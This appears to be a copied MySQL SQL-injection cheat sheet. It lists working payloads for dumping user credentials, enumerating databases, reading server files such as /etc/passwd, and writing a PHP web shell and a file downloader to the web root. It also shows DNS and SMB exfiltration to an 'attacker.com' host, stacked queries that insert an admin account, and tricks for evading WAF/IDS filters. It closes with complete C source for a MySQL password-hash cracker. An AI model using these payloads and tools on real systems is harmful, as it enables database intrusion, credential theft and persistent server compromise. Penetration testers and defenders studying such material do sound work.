SQL Injection 字典 - MYSQL
http://websec.ca/kb/sql_injection#MySQL_Password_Cracking
MySQL
Default Databases
| mysql | Requires root privileges |
| information_schema | Availalble from version 5 and higher |
Testing Injection
False means the query is invalid (MySQL errors/missing content on website)
True means the query is valid (content is displayed as usual)
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
| # | Hash comment |
| /* | C-style comment |
| -- - | SQL comment |
| ;%00 | Nullbyte |
| ` | Backtick |
Examples:
- SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
Note:
- The backtick can only be used to end a query when used as an alias.
Testing Version
Database Credentials
| Table | mysql.user |
| Columns | user, password |
| Current User | user(), current_user(), current_user, system_user(), session_user() |
Examples:
- SELECT current_user;
- SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
Database Names
| Tables | information_schema.schemata, mysql.db |
| Columns | schema_name, db |
| Current DB | database(), schema() |
Examples:
- SELECT database();
- SELECT schema_name FROM information_schema.schemata;
- SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
Server Hostname
- @@HOSTNAME
Example:
- SELECT @@hostname;
Server MAC Address
The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.
- UUID()
Output:
- aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
Note:
- May return a 48-bit random string instead of the MAC address on some Operating Systems.
Tables and Columns
Determining number of columns
Retrieving Tables
Note:
- version=10 for MySQL 5
Retrieving Columns
Retrieving Multiple Tables/Columns at once
- SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
Example:
- SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
Output:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED
- SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
Example:
- SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
Output:
Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority
Find Tables from Column Name
| SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | Finds the table names for any columns named username. |
| SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | Finds the table names for any columns that contain the word user. |
Find Columns from Table Name
| SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | Finds the columns for the Users table. |
| SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | Finds the column names for any tables that contain the word user. |
Find out current query
| SELECT info FROM information_schema.processlist | Available starting from MySQL 5.1.7. |
Avoiding the use of quotations
| SELECT * FROM Users WHERE username = 0x61646D696E | Hex encoding. |
| SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR() Function. |
String Concatenation
| SELECT 'a' 'd' 'mi' 'n'; |
| SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
| SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
| SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
Notes:
CONCAT()will return NULL if any of its arguements is NULL. Instead useCONCAT_WS().- The first argument of
CONCAT_WS()defines the separator for the rest of its arguments.
Conditional Statements
| CASE |
| IF() |
| IFNULL() |
| NULLIF() |
Examples:
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
Timing
| SLEEP() | MySQL 5 |
| BENCHMARK() | MySQL 4/5 |
Example:
- ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
Privileges
File Privileges
The following queries can help determine the FILE privileges for a given user.
| SELECT file_priv FROM mysql.user WHERE user = 'username'; | Root privileges required | MySQL 4/5 |
| SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | No privileges required | MySQL 5 |
Reading Files
Files can be read if the user has FILE privileges.
- LOAD_FILE()
Examples:
- SELECT LOAD_FILE('/etc/passwd');
- SELECT LOAD_FILE(0x2F6574632F706173737764);
Notes:
- File must be located on the server host.
- The basedirectory for LOAD_FILE() is
@@datadir. - The file must be readable by the MySQL user.
- The file size must be less than max_allowed_packet.
- The default size for
@@max_allowed_packetis 1047552 bytes.
Writing Files
Files can be created if the user has FILE privileges.
- INTO OUTFILE/DUMPFILE
Examples:
- To write a PHP shell:
- SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
- and then access it at:
- http://localhost/shell.php?c=cat%20/etc/passwd
- To write a downloader:
- SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
- and then access it at:
- http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
Notes:
- Files cannot be overwritten with
INTO OUTFILE. INTO OUTFILEmust be the last statement in the query.- There is no way to encode the pathname, so quotes are required.
Out Of Band Channeling
DNS Requests
| SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); |
SMB Requests
| ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt |
Stacked Queries
Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.
The PDO_MYSQL driver supports stacked queries. The MySQLi (Improved Extension) driver also supports stacked queries through the multi_query() function.
Examples:
- SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
- SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
MySQL-specific code
MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.
Examples:
- UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
- SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
Notes:
- The first example returns the version; it uses a UNION with 2 columns.
- The second example demonstrates how this can be useful for bypassing a WAF/IDS.
Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
| 09 | Horizontal Tab |
| 0A | New Line |
| 0B | Vertical Tab |
| 0C | New Page |
| 0D | Carriage Return |
| A0 | Non-breaking Space |
| 20 | Space |
Example:
- '%0A%09UNION%0CSELECT%A0NULL%20%23
Parentheses can also be used to avoid the use of spaces.
| 28 | ( |
| 29 | ) |
Example:
- UNION(SELECT(column)FROM(table))
Allowed Intermediary Characters after AND/OR
| 20 | Space |
| 2B | + |
| 2D | - |
| 7E | ~ |
| 21 | ! |
| 40 | @ |
Example:
- SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Note:
dualis a dummy table which can be used for testing.
Obfuscating with Comments
Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.
Example:
- 1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
URL Encoded the injection would look like:
- 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
Certain functions can also be obfuscated with comments and whitespaces.
- VERSION/**/%A0 (/*comment*/)
Encodings
Encoding your injection can sometimes be useful for WAF/IDS evasion.
| URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
| Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
| Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
| Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Avoiding Keywords
If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without using encodings.
- information_schema.tables
| Spaces | information_schema . tables |
| Backticks | `information_schema`.`tables` |
| Specific Code | /*!information_schema.tables*/ |
| Alternative Names | information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints |
Note:
- The alternate names may depend on a PRIMARY Key being present in the table.
Operators
AND , && |
Logical AND |
= |
Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement) |
:= |
Assign a value |
BETWEEN ... AND ... |
Check whether a value is within a range of values |
BINARY |
Cast a string to a binary string |
& |
Bitwise AND |
~ |
Invert bits |
| |
Bitwise OR |
^ |
Bitwise XOR |
CASE |
Case operator |
DIV |
Integer division |
/ |
Division operator |
<=> |
NULL-safe equal to operator |
= |
Equal operator |
>= |
Greater than or equal operator |
> |
Greater than operator |
IS NOT NULL |
NOT NULL value test |
IS NOT |
Test a value against a boolean |
IS NULL |
NULL value test |
IS |
Test a value against a boolean |
<< |
Left shift |
<= |
Less than or equal operator |
< |
Less than operator |
LIKE |
Simple pattern matching |
- |
Minus operator |
% or MOD |
Modulo operator |
NOT BETWEEN ... AND ... |
Check whether a value is not within a range of values |
!= , <> |
Not equal operator |
NOT LIKE |
Negation of simple pattern matching |
NOT REGEXP |
Negation of REGEXP |
NOT , ! |
Negates value |
|| , OR |
Logical OR |
+ |
Addition operator |
REGEXP |
Pattern matching using regular expressions |
>> |
Right shift |
RLIKE |
Synonym for REGEXP |
SOUNDS LIKE |
Compare sounds |
* |
Multiplication operator |
- |
Change the sign of the argument |
XOR |
Logical XOR |
Constants
| current_user |
| null, \N |
| true, false |
Password Hashing
Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:
| PASSWORD('mypass') | 6f8c114b58f2ce9e |
As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:
| PASSWORD('mypass') | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
Password Cracking
Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.
A Metasploit module for JTR can be found here.
MySQL < 4.1 Password Cracker
This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not found\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
